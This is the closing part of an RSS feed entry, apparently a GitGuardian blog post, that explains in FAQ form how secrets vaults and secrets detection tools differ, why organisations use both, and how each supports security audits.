&lt;p&gt;Secrets vaults are designed to securely store and serve managed credentials. Detection platforms find credentials that appear outside that managed environment. Mature programs commonly use both capabilities because they address different parts of the credential lifecycle.&lt;/p&gt;

&lt;p&gt;The GitGuardian guide to &lt;a href="https://blog.gitguardian.com/top-secrets-management-tools/" rel="noopener noreferrer"&gt;secrets management tools&lt;/a&gt; provides a deeper comparison of available approaches.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What is the difference between a secrets vault and secrets detection?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A secrets vault securely stores credentials and governs how applications and workloads access them. Secrets detection searches for credentials that appear elsewhere, including code, pipelines, public sources, and developer machines.&lt;/p&gt;

&lt;p&gt;The vault provides the intended system of record. Detection measures the wider credential exposure and helps identify where policy and practice have diverged.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Do you need both a secrets vault and a secrets detection tool?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Organizations with a meaningful software development footprint benefit from both.&lt;/p&gt;

&lt;p&gt;The vault manages credentials already enrolled in the approved system. Detection identifies secrets that were created elsewhere or copied outside that system during normal work.&lt;/p&gt;

&lt;p&gt;Using both provides stronger inventory, faster remediation, and better evidence that secrets management policies are working.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Can secrets management be audited for security purposes?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Yes. Vault records can provide evidence around access, rotation, and credential lifecycle activity.&lt;/p&gt;

&lt;p&gt;Detection adds evidence about credentials found outside approved management, how quickly exposures are resolved, and whether those credentials remain valid after remediation.&lt;/p&gt;

&lt;p&gt;Together, these measurements help demonstrate control effectiveness rather than simply documenting that a secrets management control exists.&lt;/p&gt;

</description>
      <category>security</category>
      <category>secretsmanagement</category>
      <category>devops</category>
      <category>devsecops</category>
    </item>
  </channel>
</rss>
